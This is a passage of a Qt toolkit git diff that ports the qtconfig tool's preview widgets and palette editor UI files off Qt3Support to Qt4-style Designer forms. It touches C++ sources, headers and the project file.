-                        <horstretch>0</horstretch>
-                        <verstretch>0</verstretch>
-                      </sizepolicy>
-                    </property>
-                    <property name="minimumSize" >
-                      <size>
-                        <width>0</width>
-                        <height>0</height>
-                      </size>
-                    </property>
-                    <property name="text" >
-                      <string>&amp;Select Color:</string>
-                    </property>
-                    <property name="buddy" stdset="0" >
-                      <cstring>buttonCentral</cstring>
-                    </property>
-                  </widget>
-                </item>
-                <item>
-                  <widget class="ColorButton" name="buttonCentral" >
-                    <property name="objectName" >
-                      <string notr="true" >buttonCentral</string>
-                    </property>
-                    <property name="sizePolicy" >
-                      <sizepolicy>
-                        <hsizetype>0</hsizetype>
-                        <vsizetype>0</vsizetype>
-                        <horstretch>0</horstretch>
-                        <verstretch>0</verstretch>
-                      </sizepolicy>
-                    </property>
-                    <property name="focusPolicy" >
-                      <enum>Qt::TabFocus</enum>
-                    </property>
-                    <property name="toolTip" stdset="0" >
-                      <string>Choose a color</string>
-                    </property>
-                    <property name="whatsThis" stdset="0" >
-                      <string>Choose a color for the selected central color role.</string>
-                    </property>
-                  </widget>
-                </item>
-              </layout>
-            </item>
-          </layout>
-        </widget>
-      </item>
-      <item>
-        <widget class="Q3GroupBox" name="groupEffect" >
-          <property name="objectName" >
-            <string notr="true" >groupEffect</string>
-          </property>
-          <property name="title" >
-            <string>3-D shadow &amp;effects</string>
-          </property>
-          <layout class="QVBoxLayout" >
-            <property name="objectName" >
-              <string notr="true" >unnamed</string>
-            </property>
-            <property name="margin" >
-              <number>11</number>
-            </property>
-            <property name="spacing" >
-              <number>6</number>
-            </property>
-            <item>
-              <layout class="QHBoxLayout" >
-                <property name="objectName" >
-                  <string notr="true" >unnamed</string>
-                </property>
-                <property name="margin" >
-                  <number>0</number>
-                </property>
-                <property name="spacing" >
-                  <number>6</number>
-                </property>
-                <item>
-                  <widget class="QCheckBox" name="checkBuildEffect" >
-                    <property name="objectName" >
-                      <string notr="true" >checkBuildEffect</string>
-                    </property>
-                    <property name="text" >
-                      <string>Build &amp;from button color</string>
-                    </property>
-                    <property name="checked" >
-                      <bool>true</bool>
-                    </property>
-                    <property name="toolTip" stdset="0" >
-                      <string>Generate shadings</string>
-                    </property>
-                    <property name="whatsThis" stdset="0" >
-                      <string>Check to let 3D-effect colors be calculated from button-color.</string>
-                    </property>
-                  </widget>
-                </item>
-                <item>
-                  <widget class="QComboBox" name="comboEffect" >
-                    <property name="objectName" >
-                      <string notr="true" >comboEffect</string>
-                    </property>
-                    <property name="toolTip" stdset="0" >
-                      <string>Choose 3D-effect color role</string>
-                    </property>
-                    <property name="whatsThis" stdset="0" >
-                      <string>&lt;b>Select a color role.&lt;/b>&lt;p>Available effect roles are: &lt;ul> &lt;li>Light - lighter than Button color. &lt;/li> &lt;li>Midlight - between Button and Light. &lt;/li> &lt;li>Mid - between Button and Dark. &lt;/li> &lt;li>Dark - darker than Button. &lt;/li> &lt;li>Shadow - a very dark color. &lt;/li> &lt;/ul></string>
-                    </property>
-                    <item>
-                      <property name="text" >
-                        <string>Light</string>
-                      </property>
-                    </item>
-                    <item>
-                      <property name="text" >
-                        <string>Midlight</string>
-                      </property>
-                    </item>
-                    <item>
-                      <property name="text" >
-                        <string>Mid</string>
-                      </property>
-                    </item>
-                    <item>
-                      <property name="text" >
-                        <string>Dark</string>
-                      </property>
-                    </item>
-                    <item>
-                      <property name="text" >
-                        <string>Shadow</string>
-                      </property>
-                    </item>
-                  </widget>
-                </item>
-              </layout>
-            </item>
-            <item>
-              <layout class="QHBoxLayout" >
-                <property name="objectName" >
-                  <string notr="true" >unnamed</string>
-                </property>
-                <property name="margin" >
-                  <number>0</number>
-                </property>
-                <property name="spacing" >
-                  <number>6</number>
-                </property>
-                <item>
-                  <spacer name="Horizontal_Spacing3" >
-                    <property name="sizeHint" >
-                      <size>
-                        <width>20</width>
-                        <height>20</height>
-                      </size>
-                    </property>
-                    <property name="sizeType" >
-                      <enum>Expanding</enum>
-                    </property>
-                    <property name="orientation" >
-                      <enum>Horizontal</enum>
-                    </property>
-                  </spacer>
-                </item>
-                <item>
-                  <widget class="QLabel" name="labelEffect" >
-                    <property name="objectName" >
-                      <string notr="true" >labelEffect</string>
-                    </property>
-                    <property name="sizePolicy" >
-                      <sizepolicy>
-                        <hsizetype>1</hsizetype>
-                        <vsizetype>1</vsizetype>
-                        <horstretch>0</horstretch>
-                        <verstretch>0</verstretch>
-                      </sizepolicy>
-                    </property>
-                    <property name="minimumSize" >
-                      <size>
-                        <width>0</width>
-                        <height>0</height>
-                      </size>
-                    </property>
-                    <property name="text" >
-                      <string>Select Co&amp;lor:</string>
-                    </property>
-                    <property name="buddy" stdset="0" >
-                      <cstring>buttonEffect</cstring>
-                    </property>
-                  </widget>
-                </item>
-                <item>
-                  <widget class="ColorButton" name="buttonEffect" >
-                    <property name="objectName" >
-                      <string notr="true" >buttonEffect</string>
-                    </property>
-                    <property name="sizePolicy" >
-                      <sizepolicy>
-                        <hsizetype>0</hsizetype>
-                        <vsizetype>0</vsizetype>
-                        <horstretch>0</horstretch>
-                        <verstretch>0</verstretch>
-                      </sizepolicy>
-                    </property>
-                    <property name="focusPolicy" >
-                      <enum>Qt::TabFocus</enum>
-                    </property>
-                    <property name="toolTip" stdset="0" >
-                      <string>Choose a color</string>
-                    </property>
-                    <property name="whatsThis" stdset="0" >
-                      <string>Choose a color for the selected effect color role.</string>
-                    </property>
-                  </widget>
-                </item>
-              </layout>
-            </item>
-          </layout>
-        </widget>
-      </item>
-      <item>
-        <layout class="QHBoxLayout" >
-          <property name="objectName" >
-            <string notr="true" >unnamed</string>
-          </property>
-          <property name="margin" >
-            <number>0</number>
-          </property>
-          <property name="spacing" >
-            <number>6</number>
-          </property>
-          <item>
-            <spacer name="Horizontal_Spacing2" >
-              <property name="sizeHint" >
-                <size>
-                  <width>20</width>
-                  <height>20</height>
-                </size>
-              </property>
-              <property name="sizeType" >
-                <enum>Expanding</enum>
-              </property>
-              <property name="orientation" >
-                <enum>Horizontal</enum>
-              </property>
-            </spacer>
-          </item>
-          <item>
-            <widget class="QPushButton" name="buttonOk" >
-              <property name="objectName" >
-                <string notr="true" >buttonOk</string>
-              </property>
-              <property name="text" >
-                <string>OK</string>
-              </property>
-              <property name="autoDefault" >
-                <bool>true</bool>
-              </property>
-              <property name="default" >
-                <bool>true</bool>
-              </property>
-              <property name="whatsThis" stdset="0" >
-                <string>Close dialog and apply all changes.</string>
-              </property>
-            </widget>
-          </item>
-          <item>
-            <widget class="QPushButton" name="buttonCancel" >
-              <property name="objectName" >
-                <string notr="true" >buttonCancel</string>
-              </property>
-              <property name="text" >
-                <string>Cancel</string>
-              </property>
-              <property name="autoDefault" >
-                <bool>true</bool>
-              </property>
-              <property name="whatsThis" stdset="0" >
-                <string>Close dialog and discard all changes.</string>
-              </property>
-            </widget>
-          </item>
-        </layout>
-      </item>
-    </layout>
-  </widget>
-  <pixmapfunction></pixmapfunction>
-  <customwidgets>
-    <customwidget>
-      <class>ColorButton</class>
-      <extends></extends>
-      <header location="local" >colorbutton.h</header>
-      <sizehint>
-        <width>40</width>
-        <height>25</height>
-      </sizehint>
-      <container>0</container>
-      <sizepolicy>
-        <hordata>5</hordata>
-        <verdata>5</verdata>
-      </sizepolicy>
-      <pixmap>image0</pixmap>
-      <properties>
-        <property type="Color" >color</property>
-        <property type="Pixmap" >pixmap</property>
-      </properties>
-    </customwidget>
-  </customwidgets>
-  <tabstops>
-    <tabstop>buttonOk</tabstop>
-    <tabstop>buttonCancel</tabstop>
-    <tabstop>paletteCombo</tabstop>
-    <tabstop>checkBuildInactive</tabstop>
-    <tabstop>checkBuildDisabled</tabstop>
-    <tabstop>comboCentral</tabstop>
-    <tabstop>buttonCentral</tabstop>
-    <tabstop>checkBuildEffect</tabstop>
-    <tabstop>comboEffect</tabstop>
-    <tabstop>buttonEffect</tabstop>
-  </tabstops>
-  <images>
-    <image name="image0" >
-      <data format="XPM.GZ" length="646" >789c6dd2c10ac2300c00d07bbf2234b7229d1be245fc04c5a3201e4615f430059d0711ff5ddb2e6bb236ec90eed134cb5a19d8ef36602af5ecdbfeeac05dda0798d3abebde87e3faa374d3807fa0d633a52d38d8de6f679fe33fc776e196f53cd010188256a3600a292882096246517815ca99884606e18044a3a40d91824820924265a7923a2e8bcd05f33db1173e002913175f2a6be6d3294871a2d95fa00e8a94ee017b69d339d90df1e77c57ea072ede6758</data>
-    </image>
-  </images>
-</ui>
diff --git a/tools/qtconfig/previewframe.cpp b/tools/qtconfig/previewframe.cpp
index 2d7b113..c6df899 100644
--- a/tools/qtconfig/previewframe.cpp
+++ b/tools/qtconfig/previewframe.cpp
@@ -40,6 +40,7 @@
 ****************************************************************************/
 
 #include "previewframe.h"
+#include "previewwidget.h"
 
 #include <QBoxLayout>
 #include <QPainter>
@@ -47,8 +48,8 @@
 
 QT_BEGIN_NAMESPACE
 
-PreviewFrame::PreviewFrame( QWidget *parent, const char *name )
-    : QFrame( parent, name )
+PreviewFrame::PreviewFrame(QWidget *parent)
+    : QFrame(parent)
 {
     setMinimumSize(200, 200);
     setFrameStyle(QFrame::StyledPanel | QFrame::Sunken);
@@ -82,23 +83,22 @@ void PreviewFrame::setPreviewVisible(bool visible)
     workspace->viewport()->update();
 }
 
-Workspace::Workspace(PreviewFrame* parent, const char* name)
+Workspace::Workspace(PreviewFrame *parent)
     : QMdiArea(parent)
 {
     previewFrame = parent;
     PreviewWidget *previewWidget = previewFrame->widget();
-    setObjectName(QLatin1String(name));
     QMdiSubWindow *frame = addSubWindow(previewWidget, Qt::Window);
-    frame->move(10,10);
+    frame->move(10, 10);
     frame->show();
 }
 
-void Workspace::paintEvent( QPaintEvent* )
+void Workspace::paintEvent(QPaintEvent *)
 {
-    QPainter p (viewport());
+    QPainter p(viewport());
     p.fillRect(rect(), palette().color(backgroundRole()).dark());
-    p.setPen( QPen( Qt::white ) );
-    p.drawText ( 0, height() / 2,  width(), height(), Qt::AlignHCenter, previewFrame->previewText());
+    p.setPen(QPen(Qt::white));
+    p.drawText(0, height() / 2,  width(), height(), Qt::AlignHCenter, previewFrame->previewText());
 }
 
 QT_END_NAMESPACE
diff --git a/tools/qtconfig/previewframe.h b/tools/qtconfig/previewframe.h
index cd7bd0b..5cb0d59 100644
--- a/tools/qtconfig/previewframe.h
+++ b/tools/qtconfig/previewframe.h
@@ -42,8 +42,6 @@
 #ifndef PREVIEWFRAME_H
 #define PREVIEWFRAME_H
 
-#include "previewwidget.h"
-
 #include <QMdiArea>
 
 QT_BEGIN_NAMESPACE
@@ -54,28 +52,29 @@ class Workspace : public QMdiArea
     Q_OBJECT
 
 public:
-    Workspace( PreviewFrame* parent = 0, const char* name = 0 );
+    Workspace(PreviewFrame *parent = 0);
     ~Workspace() {}
 
 protected:
-    void paintEvent( QPaintEvent* );
+    void paintEvent(QPaintEvent *);
 private:
     PreviewFrame *previewFrame;
 };
 
+class PreviewWidget;
 class PreviewFrame : public QFrame
 {
     Q_OBJECT
 
 public:
-    PreviewFrame( QWidget *parent = 0, const char *name = 0 );
+    PreviewFrame(QWidget *parent = 0);
     void setPreviewPalette(QPalette);
     void setPreviewVisible(bool val);
     QString previewText() const;
     PreviewWidget *widget() const { return previewWidget; }
 private:
-    Workspace   *workspace;
-    PreviewWidget 	*previewWidget;
+    Workspace *workspace;
+    PreviewWidget *previewWidget;
     QString m_previewWindowText;
 };
 
diff --git a/tools/qtconfig/previewwidget.cpp b/tools/qtconfig/previewwidget.cpp
index 71cef23..66ebb92 100644
--- a/tools/qtconfig/previewwidget.cpp
+++ b/tools/qtconfig/previewwidget.cpp
@@ -40,32 +40,32 @@
 ****************************************************************************/
 
 #include "previewwidget.h"
+#include "ui_previewwidget.h"
 #include <QtEvents>
 
 QT_BEGIN_NAMESPACE
 
-PreviewWidget::PreviewWidget( QWidget *parent, const char *name )
-    : PreviewWidgetBase( parent, name )
+PreviewWidget::PreviewWidget(QWidget *parent)
+    : QWidget(parent), ui(new Ui::PreviewWidget)
 {
+    ui->setupUi(this);
+
     // install event filter on child widgets
-    QObjectList l = queryList("QWidget");
-    for (int i = 0; i < l.size(); ++i) {
-        QObject * obj = l.at(i);
-        obj->installEventFilter(this);
-        ((QWidget*)obj)->setFocusPolicy(Qt::NoFocus);
+    QList<QWidget *> l = findChildren<QWidget *>();
+    foreach(QWidget *w, l) {
+        w->installEventFilter(this);
+        w->setFocusPolicy(Qt::NoFocus);
     }
 }
 
-
-void PreviewWidget::closeEvent(QCloseEvent *e)
+PreviewWidget::~PreviewWidget()
 {
-    e->ignore();
+  delete ui;
 }
 
-
 bool PreviewWidget::eventFilter(QObject *, QEvent *e)
 {
-    switch ( e->type() ) {
+    switch (e->type()) {
     case QEvent::MouseButtonPress:
     case QEvent::MouseButtonRelease:
     case QEvent::MouseButtonDblClick:
@@ -81,4 +81,9 @@ bool PreviewWidget::eventFilter(QObject *, QEvent *e)
     return false;
 }
 
+void PreviewWidget::closeEvent(QCloseEvent *e)
+{
+    e->ignore();
+}
+
 QT_END_NAMESPACE
diff --git a/tools/qtconfig/previewwidget.h b/tools/qtconfig/previewwidget.h
index a6ec5b3..d39fd75 100644
--- a/tools/qtconfig/previewwidget.h
+++ b/tools/qtconfig/previewwidget.h
@@ -42,21 +42,29 @@
 #ifndef PREVIEWWIDGET_H
 #define PREVIEWWIDGET_H
 
-#include "previewwidgetbase.h"
+#include <QtGui/QWidget>
 
 QT_BEGIN_NAMESPACE
 
-class PreviewWidget : public PreviewWidgetBase
+namespace Ui {
+  class PreviewWidget;
+}
+
+
+class PreviewWidget : public QWidget
 {
     Q_OBJECT
 
 public:
-    PreviewWidget( QWidget *parent = 0, const char *name = 0 );
+    PreviewWidget(QWidget *parent = 0);
+    ~PreviewWidget();
 
-    void closeEvent(QCloseEvent *);
     bool eventFilter(QObject *, QEvent *);
+private:
+    void closeEvent(QCloseEvent *);
+    Ui::PreviewWidget *ui;
 };
 
 QT_END_NAMESPACE
 
-#endif
+#endif // PREVIEWWIDGET_H
diff --git a/tools/qtconfig/previewwidget.ui b/tools/qtconfig/previewwidget.ui
new file mode 100644
index 0000000..2e0789f
--- /dev/null
+++ b/tools/qtconfig/previewwidget.ui
@@ -0,0 +1,252 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<ui version="4.0">
+ <comment>*********************************************************************
+**
+** Copyright (C) 2010 Nokia Corporation and/or its subsidiary(-ies).
+** All rights reserved.
+** Contact: Nokia Corporation (qt-info@nokia.com)
+**
+** This file is part of the tools applications of the Qt Toolkit.
+**
+** $QT_BEGIN_LICENSE:LGPL$
+** No Commercial Usage
+** This file contains pre-release code and may not be distributed.
+** You may use this file in accordance with the terms and conditions
+** contained in the Technology Preview License Agreement accompanying
+** this package.
+**
+** GNU Lesser General Public License Usage
+** Alternatively, this file may be used under the terms of the GNU Lesser
+** General Public License version 2.1 as published by the Free Software
+** Foundation and appearing in the file LICENSE.LGPL included in the
+** packaging of this file.  Please review the following information to
+** ensure the GNU Lesser General Public License version 2.1 requirements
+** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
+**
+** In addition, as a special exception, Nokia gives you certain additional
+** rights.  These rights are described in the Nokia Qt LGPL Exception
+** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
+**
+** If you have questions regarding the use of this file, please contact
+** Nokia at qt-info@nokia.com.
+**
+**
+**
+**
+**
+**
+**
+**
+** $QT_END_LICENSE$
+**
+*********************************************************************</comment>
+ <class>PreviewWidget</class>
+ <widget class="QWidget" name="PreviewWidget">
+  <property name="geometry">
+   <rect>
+    <x>0</x>
+    <y>0</y>
+    <width>398</width>
+    <height>282</height>
+   </rect>
+  </property>
+  <property name="sizePolicy">
+   <sizepolicy hsizetype="Minimum" vsizetype="Minimum">
+    <horstretch>0</horstretch>
+    <verstretch>0</verstretch>
+   </sizepolicy>
+  </property>
+  <property name="windowTitle">
+   <string>Preview Window</string>
+  </property>
+  <layout class="QVBoxLayout" name="verticalLayout_5">
+   <item>
+    <layout class="QHBoxLayout" name="horizontalLayout">
+     <item>
+      <layout class="QVBoxLayout" name="verticalLayout_2">
+       <property name="spacing">
+        <number>6</number>
+       </property>
+       <property name="margin">
+        <number>0</number>
+       </property>
+       <item>
+        <widget class="QGroupBox" name="GroupBox1">
+         <property name="title">
+          <string>GroupBox</string>
+         </property>
+         <layout class="QVBoxLayout" name="verticalLayout_3">
+          <property name="spacing">
+           <number>6</number>
+          </property>
+          <property name="margin">
+           <number>11</number>
+          </property>
+          <item>
+           <widget class="QRadioButton" name="RadioButton1">
+            <property name="text">
+             <string>RadioButton1</string>
+            </property>
+            <property name="checked">
+             <bool>true</bool>
+            </property>
+           </widget>
+          </item>
+          <item>
+           <widget class="QRadioButton" name="RadioButton2">
+            <property name="text">
+             <string>RadioButton2</string>
+            </property>
+           </widget>
+          </item>
+          <item>
+           <widget class="QRadioButton" name="RadioButton3">
+            <property name="text">
+             <string>RadioButton3</string>
+            </property>
+           </widget>
+          </item>
+         </layout>
+        </widget>
+       </item>
+       <item>
+        <widget class="QGroupBox" name="GroupBox2">
+         <property name="title">
+          <string>GroupBox2</string>
+         </property>
+         <layout class="QVBoxLayout" name="verticalLayout_4">
+          <property name="spacing">
+           <number>6</number>
+          </property>
+          <property name="margin">
+           <number>11</number>
+          </property>
+          <item>
+           <widget class="QCheckBox" name="CheckBox1">
+            <property name="text">
+             <string>CheckBox1</string>
+            </property>
+            <property name="checked">
+             <bool>true</bool>
+            </property>
+           </widget>
+          </item>
+          <item>
+           <widget class="QCheckBox" name="CheckBox2">
+            <property name="text">
+             <string>CheckBox2</string>
+            </property>
+           </widget>
+          </item>
+         </layout>
+        </widget>
+       </item>
+       <item>
+        <widget class="QProgressBar" name="ProgressBar1">
+         <property name="value">
+          <number>50</number>
+         </property>
+        </widget>
+       </item>
+      </layout>
+     </item>
+     <item>
+      <layout class="QVBoxLayout" name="verticalLayout">
+       <property name="spacing">
+        <number>6</number>
+       </property>
+       <property name="margin">
+        <number>0</number>
+       </property>
+       <item>
+        <widget class="QLineEdit" name="LineEdit1">
+         <property name="text">
+          <string>LineEdit</string>
+         </property>
+        </widget>
+       </item>
+       <item>
+        <widget class="QComboBox" name="ComboBox1">
+         <item>
+          <property name="text">
+           <string>ComboBox</string>
+          </property>
+         </item>
+        </widget>
+       </item>
+       <item>
+        <layout class="QHBoxLayout" name="horizontalLayout_2">
+         <property name="spacing">
+          <number>6</number>
+         </property>
+         <property name="margin">
+          <number>0</number>
+         </property>
+         <item>
+          <widget class="QSpinBox" name="SpinBox1"/>
+         </item>
+         <item>
+          <widget class="QPushButton" name="PushButton1">
+           <property name="text">
+            <string>PushButton</string>
+           </property>
+          </widget>
+         </item>
+        </layout>
+       </item>
+       <item>
+        <widget class="QScrollBar" name="ScrollBar1">
+         <property name="orientation">
+          <enum>Qt::Horizontal</enum>
+         </property>
+        </widget>
+       </item>
+       <item>
+        <widget class="QSlider" name="Slider1">
+         <property name="orientation">
+          <enum>Qt::Horizontal</enum>
+         </property>
+        </widget>
+       </item>
+       <item>
+        <widget class="QTextEdit" name="textView">
+         <property name="maximumSize">
+          <size>
+           <width>32767</width>
+           <height>55</height>
+          </size>
+         </property>
+         <property name="readOnly">
+          <bool>true</bool>
+         </property>
+         <property name="html">
+          <string>&lt;p&gt;&lt;a href=&quot;http://qt.nokia.com&quot;&gt;http://qt.nokia.com&lt;/a&gt;&lt;/p&gt;
+&lt;p&gt;&lt;a href=&quot;http://www.kde.org&quot;&gt;http://www.kde.org&lt;/a&gt;&lt;/p&gt;</string>
+         </property>
+        </widget>
+       </item>
+      </layout>
+     </item>
+    </layout>
+   </item>
+   <item>
+    <spacer name="Spacer2">
+     <property name="orientation">
+      <enum>Qt::Vertical</enum>
+     </property>
+     <property name="sizeType">
+      <enum>QSizePolicy::Expanding</enum>
+     </property>
+     <property name="sizeHint" stdset="0">
+      <size>
+       <width>20</width>
+       <height>0</height>
+      </size>
+     </property>
+    </spacer>
+   </item>
+  </layout>
+ </widget>
+ <resources/>
+ <connections/>
+</ui>
diff --git a/tools/qtconfig/previewwidgetbase.ui b/tools/qtconfig/previewwidgetbase.ui
deleted file mode 100644
index bd8a5f3..0000000
--- a/tools/qtconfig/previewwidgetbase.ui
+++ /dev/null
@@ -1,340 +0,0 @@
-<ui version="4.0" stdsetdef="1" >
-  <author></author>
-  <comment>*********************************************************************
-**
-** Copyright (C) 2011 Nokia Corporation and/or its subsidiary(-ies).
-** All rights reserved.
-** Contact: Nokia Corporation (qt-info@nokia.com)
-**
-** This file is part of the tools applications of the Qt Toolkit.
-**
-** $QT_BEGIN_LICENSE:LGPL$
-** No Commercial Usage
-** This file contains pre-release code and may not be distributed.
-** You may use this file in accordance with the terms and conditions
-** contained in the Technology Preview License Agreement accompanying
-** this package.
-**
-** GNU Lesser General Public License Usage
-** Alternatively, this file may be used under the terms of the GNU Lesser
-** General Public License version 2.1 as published by the Free Software
-** Foundation and appearing in the file LICENSE.LGPL included in the
-** packaging of this file.  Please review the following information to
-** ensure the GNU Lesser General Public License version 2.1 requirements
-** will be met: http://www.gnu.org/licenses/old-licenses/lgpl-2.1.html.
-**
-** In addition, as a special exception, Nokia gives you certain additional
-** rights.  These rights are described in the Nokia Qt LGPL Exception
-** version 1.1, included in the file LGPL_EXCEPTION.txt in this package.
-**
-** If you have questions regarding the use of this file, please contact
-** Nokia at qt-info@nokia.com.
-**
-**
-**
-**
-**
-**
-**
-**
-** $QT_END_LICENSE$
-**
-*********************************************************************</comment>
-  <exportmacro></exportmacro>
-  <class>PreviewWidgetBase</class>
-  <widget class="QWidget" name="PreviewWidgetBase" >
-    <property name="objectName" >
-      <string notr="true" >PreviewWidgetBase</string>
-    </property>
-    <property name="geometry" >
-      <rect>
-        <x>0</x>
-        <y>0</y>
-        <width>378</width>
-        <height>236</height>
-      </rect>
-    </property>
-    <property name="sizePolicy" >
-      <sizepolicy>
-        <hsizetype>1</hsizetype>
-        <vsizetype>1</vsizetype>
-        <horstretch>0</horstretch>
-        <verstretch>0</verstretch>
-      </sizepolicy>
-    </property>
-    <property name="windowTitle" >
-      <string>Preview Window</string>
-    </property>
-    <layout class="QVBoxLayout" >
-      <property name="objectName" >
-        <string notr="true" >unnamed</string>
-      </property>
-      <property name="margin" >
-        <number>11</number>
-      </property>
-      <property name="spacing" >
-        <number>6</number>
-      </property>
-      <item>
-        <layout class="QHBoxLayout" >
-          <property name="objectName" >
-            <string notr="true" >unnamed</string>
-          </property>
-          <property name="margin" >
-            <number>0</number>
-          </property>
-          <property name="spacing" >
-            <number>6</number>
-          </property>
-          <item>
-            <layout class="QVBoxLayout" >
-              <property name="objectName" >
-                <string notr="true" >unnamed</string>
-              </property>
-              <property name="margin" >
-                <number>0</number>
-              </property>
-              <property name="spacing" >
-                <number>6</number>
-              </property>
-              <item>
-                <widget class="Q3ButtonGroup" name="ButtonGroup1" >
-                  <property name="objectName" >
-                    <string notr="true" >ButtonGroup1</string>
-                  </property>
-                  <property name="title" >
-                    <string>ButtonGroup</string>
-                  </property>
-                  <layout class="QVBoxLayout" >
-                    <property name="objectName" >
-                      <string notr="true" >unnamed</string>
-                    </property>
-                    <property name="margin" >
-                      <number>11</number>
-                    </property>
-                    <property name="spacing" >
-                      <number>6</number>
-                    </property>
-                    <item>
-                      <widget class="QRadioButton" name="RadioButton1" >
-                        <property name="objectName" >
-                          <string notr="true" >RadioButton1</string>
-                        </property>
-                        <property name="text" >
-                          <string>RadioButton1</string>
-                        </property>
-                        <property name="checked" >
-                          <bool>true</bool>
-                        </property>
-                      </widget>
-                    </item>
-                    <item>
-                      <widget class="QRadioButton" name="RadioButton2" >
-                        <property name="objectName" >
-                          <string notr="true" >RadioButton2</string>
-                        </property>
-                        <property name="text" >
-                          <string>RadioButton2</string>
-                        </property>
-                      </widget>
-                    </item>
-                    <item>
-                      <widget class="QRadioButton" name="RadioButton3" >
-                        <property name="objectName" >
-                          <string notr="true" >RadioButton3</string>
-                        </property>
-                        <property name="text" >
-                          <string>RadioButton3</string>
-                        </property>
-                      </widget>
-                    </item>
-                  </layout>
-                </widget>
-              </item>
-              <item>
-                <widget class="Q3ButtonGroup" name="ButtonGroup2" >
-                  <property name="objectName" >
-                    <string notr="true" >ButtonGroup2</string>
-                  </property>
-                  <property name="title" >
-                    <string>ButtonGroup2</string>
-                  </property>
-                  <layout class="QVBoxLayout" >
-                    <property name="objectName" >
-                      <string notr="true" >unnamed</string>
-                    </property>
-                    <property name="margin" >
-                      <number>11</number>
-                    </property>
-                    <property name="spacing" >
-                      <number>6</number>
-                    </property>
-                    <item>
-                      <widget class="QCheckBox" name="CheckBox1" >
-                        <property name="objectName" >
-                          <string notr="true" >CheckBox1</string>
-                        </property>
-                        <property name="text" >
-                          <string>CheckBox1</string>
-                        </property>
-                        <property name="checked" >
-                          <bool>true</bool>
-                        </property>
-                      </widget>
-                    </item>
-                    <item>
-                      <widget class="QCheckBox" name="CheckBox2" >
-                        <property name="objectName" >
-                          <string notr="true" >CheckBox2</string>
-                        </property>
-                        <property name="text" >
-                          <string>CheckBox2</string>
-                        </property>
-                      </widget>
-                    </item>
-                  </layout>
-                </widget>
-              </item>
-              <item>
-                <widget class="QProgressBar" name="ProgressBar1" >
-                  <property name="objectName" >
-                    <string notr="true" >ProgressBar1</string>
-                  </property>
-                  <property name="value" >
-                    <number>50</number>
-                  </property>
-                </widget>
-              </item>
-            </layout>
-          </item>
-          <item>
-            <layout class="QVBoxLayout" >
-              <property name="objectName" >
-                <string notr="true" >unnamed</string>
-              </property>
-              <property name="margin" >
-                <number>0</number>
-              </property>
-              <property name="spacing" >
-                <number>6</number>
-              </property>
-              <item>
-                <widget class="QLineEdit" name="LineEdit1" >
-                  <property name="objectName" >
-                    <string notr="true" >LineEdit1</string>
-                  </property>
-                  <property name="text" >
-                    <string>LineEdit</string>
-                  </property>
-                </widget>
-              </item>
-              <item>
-                <widget class="QComboBox" name="ComboBox1" >
-                  <property name="objectName" >
-                    <string notr="true" >ComboBox1</string>
-                  </property>
-                  <item>
-                    <property name="text" >
-                      <string>ComboBox</string>
-                    </property>
-                  </item>
-                </widget>
-              </item>
-              <item>
-                <layout class="QHBoxLayout" >
-                  <property name="objectName" >
-                    <string notr="true" >unnamed</string>
-                  </property>
-                  <property name="margin" >
-                    <number>0</number>
-                  </property>
-                  <property name="spacing" >
-                    <number>6</number>
-                  </property>
-                  <item>
-                    <widget class="QSpinBox" name="SpinBox1" >
-                      <property name="objectName" >
-                        <string notr="true" >SpinBox1</string>
-                      </property>
-                    </widget>
-                  </item>
-                  <item>
-                    <widget class="QPushButton" name="PushButton1" >
-                      <property name="objectName" >
-                        <string notr="true" >PushButton1</string>
-                      </property>
-                      <property name="text" >
-                        <string>PushButton</string>
-                      </property>
-                    </widget>
-                  </item>
-                </layout>
-              </item>
-              <item>
-                <widget class="QScrollBar" name="ScrollBar1" >
-                  <property name="objectName" >
-                    <string notr="true" >ScrollBar1</string>
-                  </property>
-                  <property name="orientation" >
-                    <enum>Qt::Horizontal</enum>
-                  </property>
-                </widget>
-              </item>
-              <item>
-                <widget class="QSlider" name="Slider1" >
-                  <property name="objectName" >
-                    <string notr="true" >Slider1</string>
-                  </property>
-                  <property name="orientation" >
-                    <enum>Qt::Horizontal</enum>
-                  </property>
-                </widget>
-              </item>
-              <item>
-                <widget class="QTextEdit" name="textView" >
-                  <property name="objectName" >
-                    <string notr="true" >textView</string>
-                  </property>
-                  <property name="maximumSize" >
-                    <size>
-                      <width>32767</width>
-                      <height>50</height>
-                    </size>
-                  </property>
-                  <property name="readOnly" >
-                    <bool>true</bool>
-                  </property>
-                  <property name="text" >
-                    <string>&lt;p>
-&lt;a href=&quot;http://qt.nokia.com&quot;>http://qt.nokia.com&lt;/a>
-&lt;/p>
-&lt;p>
-&lt;a href=&quot;http://www.kde.org&quot;>http://www.kde.org&lt;/a>
-&lt;/p></string>
-                  </property>
-                </widget>
-              </item>
-            </layout>
-          </item>
-        </layout>
-      </item>
-      <item>
-        <spacer name="Spacer2" >
-          <property name="sizeHint" >
-            <size>
-              <width>20</width>
-              <height>20</height>
-            </size>
-          </property>
-          <property name="sizeType" >
-            <enum>Expanding</enum>
-          </property>
-          <property name="orientation" >
-            <enum>Vertical</enum>
-          </property>
-        </spacer>
-      </item>
-    </layout>
-  </widget>
-  <pixmapfunction>qPixmapFromMimeSource</pixmapfunction>
-</ui>
diff --git a/tools/qtconfig/qtconfig.pro b/tools/qtconfig/qtconfig.pro
index d1fd320..cb06e5a 100644
--- a/tools/qtconfig/qtconfig.pro
+++ b/tools/qtconfig/qtconfig.pro
@@ -1,11 +1,10 @@
 TEMPLATE = app
-CONFIG        += qt warn_on x11
+CONFIG   += qt warn_on x11
 build_all:!build_pass {
     CONFIG -= build_all
     CONFIG += release
 }
 LANGUAGE = C++
-QT += qt3support
 
 contains(QT_CONFIG, gstreamer):LIBS += $$QT_LIBS_GSTREAMER -lgstinterfaces-0.10 -lgstvideo-0.10 -lgstbase-0.10
 contains(QT_CONFIG, gstreamer):QMAKE_CXXFLAGS += $$QT_CFLAGS_GSTREAMER
@@ -13,19 +12,17 @@ contains(QT_CONFIG, phonon) {
     QT += phonon
     DEFINES += HAVE_PHONON
 }
-SOURCES        += colorbutton.cpp main.cpp previewframe.cpp previewwidget.cpp mainwindow.cpp paletteeditoradvanced.cpp \
-    mainwindowbase.cpp paletteeditoradvancedbase.cpp previewwidgetbase.cpp
-HEADERS        += colorbutton.h previewframe.h previewwidget.h mainwindow.h paletteeditoradvanced.h \
-    mainwindowbase.h paletteeditoradvancedbase.h previewwidgetbase.h
